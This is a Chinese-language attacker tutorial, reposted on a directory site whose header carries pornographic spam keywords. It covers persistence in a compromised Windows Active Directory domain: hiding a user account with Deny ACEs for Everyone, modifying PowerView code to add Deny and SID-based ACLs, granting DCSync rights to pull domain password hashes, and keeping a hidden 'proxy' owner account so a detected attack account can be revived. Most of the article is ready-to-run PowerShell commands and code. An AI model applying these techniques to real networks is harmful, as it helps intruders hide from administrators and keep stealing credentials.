日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

 

前言

 

當拿下域控權限時,為了維持權限,常常需要駐留一些后門,從而達到長期控制的目的。windows AD域后門五花八門,除了常規的的添加隱藏用戶、啟動項、計劃任務、抓取登錄時的密碼,還有一些基于ACL的后門。

 

ACL介紹

ACL是一個訪問控制列表,是整個訪問控制模型(ACM)的實現的總稱。常說的ACL主要分為兩類,分別為特定對象安全描述符的自由訪問控制列表 (DACL) 和系統訪問控制列表 (SACL)。對象的 DACL 和 SACL 都是訪問控制條目 (ACE) 的集合,ACE控制著對象指定允許、拒絕或審計的訪問權限,其中Deny拒絕優先于Allow允許。

安全描述符包含與安全對象關聯的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 結構和關聯的安全信息組成。 安全描述符可以包含以下安全信息::

 

1、對象所有者和主組的安全標識符 (SID) 。

2、指定允許或拒絕特定用戶或組的訪問權限的 DACL 。

3、一個 SACL ,指定為對象生成審核記錄的訪問嘗試的類型。

4、一組控制位,用于限定安全描述符或其單個成員的含義。

 

隱藏安全描述符

當可控一個用戶時,不想該用戶被輕易發現,可以對其進行隱藏。首先查看該用戶所用者,默認是域管組:

 

 

可以在GUI上對所有者進行修改,也可以使用powerview進行修改:

Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo

修改完成后:

 

 

因為是權限維持,所以當前權限是域管,先嘗試給域管添加一個對jumbo用戶Deny所有權限的ACL,但是發現powerviewAdd-DomainObjectAcl方法并沒有設置Deny權限的操作,只有Allow


 

當然,你可以使用New-ADObjectAccessControlEntry來完成手動ACL的添加,他的原理如下圖:


 

上圖看出還要手動做最后的ACL保存。既然Add-DomainObjectAcl已經完成了自動化的CommitChanges,直接把Allow默認可變的參數不就行了?首先手動在Add-DomainObjectAcl添加一個AccessControlType參數:

.PARAMETER AccessControlType

Specifies the type of ACE (allow or deny)

 


 

設置參數定義:

[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,

 


 

刪除之前的默認的Allow

 


 

最后把AccessControlType參數替換之前的ControlType

 


 

現在就可以在使用AccessControlType參數來給對象添加Allow或者Deny的權限了。

當嘗試域管添加一個對jumbo用戶Deny所有權限的ACL后:

Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny

 

 

當然,把SID改成SamaccountName也是可以的:

Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny

可以發現域管也沒權限查看jumbo用戶的屬性了:



 

當使用system用戶查看jumbo用戶ACL時,可以看到對應的Deny的ACL:

 

 

現在域管對jumbo用戶已經無法操作任何東西了,先用system用戶刪除該Deny權限,準備使用powerviewRemove-DomainObjectAcl方法時,發現也只有的Allow,也就是默認只能移除對象的Allow權限,老方法,把刪除的ACL屬性設置為可變參數:





 

進行刪除:

Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny

當然,把SID改成SamAccountName也是可以的:

Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny

 

那么同學們可能會想,如果真的有人進行了上面操作,真的沒辦法查看了嗎,實際上并不是,對象的擁有者是有權限修改的,比如把jumbo用戶的擁有者改成默認的域管組,然后對域管進行設置Deny的ACL,但是實際上擁有者依然有權限修改其ACL,這也是為什么在文章開始的時候,要把jumbo擁有者設置為jumbo的目的:


 

上面嘗試了拒絕域管對jumbo所有的權限,那為了隱藏,并且為了防止后續還要對jumbo用戶的一些其他修改,實際上可以對jumbo用戶設置everyone拒絕讀取的權限即可:


 

現在所有用戶對其都沒有查看權限了:

 

 

當然,只是設置了拒絕讀取權限,實際上當域管去修改其ACL權限時,還是可以的:

 

 

現在通過命令已經看不到jumbo這個用戶了:

 

 

在“用戶和計算機”里看用戶長這樣:

 


 

從上面的操作可以發現,給everyone用戶添加拒絕讀取權限時是通過GUI實現的,因為everyone用戶是個特殊的用戶,屬于特殊身份群體,是一個屬于Well-known SIDs的用戶,其對應的SID為S-1-1-0

 


 

當嘗試使用powerviewAdd-DomainObjectAcl方法是無法完成給everyone用戶添加ACL的:


通過查看powerview的代碼,會通過Get-ObjectAcl方法獲取對應用戶的SID,但是剛剛提到,everyone用戶是個特殊的用戶,導致查不到:

 


 

但是看了下還有個New-ADObjectAccessControlEntry方法,會判斷輸入的PrincipalIdentity參數是不是SID,如果是SID就不走查詢,因此可以照葫蘆畫瓢,把這個判斷加到Add-DomainObjectAcl方法中:

 

        if ($PrincipalIdentity -notmatch '^S-1-.*') {
            $PrincipalSearcherArguments = @{
                'Identity' = $PrincipalIdentity
                'Properties' = 'distinguishedname,objectsid'
            }
            if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
            if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
            if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
            if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
            if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
            if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
            if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
            $Principal = Get-DomainObject @PrincipalSearcherArguments
            if (-not $Principal) {
                throw "Unable to resolve principal: $PrincipalIdentity"
            }
            elseif($Principal.Count -gt 1) {
                throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
            }
            $ObjectSid = $Principal.objectsid
            Write-Host ($ObjectSid)
        }
        else {
            Write-Host "..sid.."
            $ObjectSid = $PrincipalIdentity
        }

 

 

                $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)

現在嘗試下,給jumbo2用戶添加everyone所有拒絕的ACL:

Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny

 



 

Remove-DomainObjectAcl方法同理

 

隱藏主體

通過上面的步驟,除了jumbo用戶本身可以查看jumbo用戶以為,其他用戶都沒有ReadControl權限,但是在“Active Directory用戶和計算機管理”里還是可以看到,雖然ico圖標都沒了,接下來要讓在“Active Directory用戶和計算機管理”里也看不到。為了方便演示,筆者把jumbo用戶移到一個單獨的OU組里:

 

 

然后給這個OU設置everyone拒絕讀取權限即可:



 

遇到一些粗心大意的管理員,可能會覺得這只是無意殘留的無害物質,無傷大雅。

 

Dcsync

Dcsync實際上就是給用戶設置兩條擴展權限,分別為:

DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

當用戶擁有這兩條ACL后,即可使用DRS協議獲取域hash憑據。給用戶在域對象上添加Dcsync權限即可:

 


 

代理賬號

上面提到,把jumbo用戶擁有者改成自身,然后設置everyone對其沒有讀取權限,這樣就可以達到隱藏jumbo,然后手上的jumbo用戶就可以肆無忌憚的做一些操作。但是有個問題,萬一做操作的時候,該用戶被發現了,管理員把該用戶進行了禁用,那好不容易獲取到的賬號就廢了。為了防止賬號被發現后被禁用/被改密碼不可用,應該設置個代理賬號,把準備拿來攻擊的賬號(某個管理員用戶或者有dcsync類似權限的賬號)的擁有者設置代理賬號,代理賬號是其擁有所有者,然后設置所有用戶對攻擊賬號都不可操作,最后每次都可以使用代理賬號控制攻擊賬號,就算攻擊賬號被禁用/被改密碼,也可以使用代理賬號來重新啟用他。

首先攻擊賬號為attack,代理賬號為good,首先設置attack賬號所有者為good

Set-DomainObjectOwner -identity attack -OwnerIdentity good

 

attack賬號添加dcsync權限:

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow

 

 

設置attack都不可操作:

Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny

這個時候,如果attack在發起攻擊的時候被管理員發現了,把attack賬號密碼重置了,但是good賬號是attack賬號的擁有者,可以修改attack賬號的ACL,比如給自己添加修改密碼的權限,然后去重置attack賬號的密碼,然后就又可以拿來攻擊了。

 

總結

本文主要講了在Windows域中如何利用ACL進行后門隱藏,并對powerview進行修改使其支持在添加ACL或者刪除ACL時可以指定Allow或者Deny,也可以選擇everyone此類特殊用戶。

分享到:
標簽:后門
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定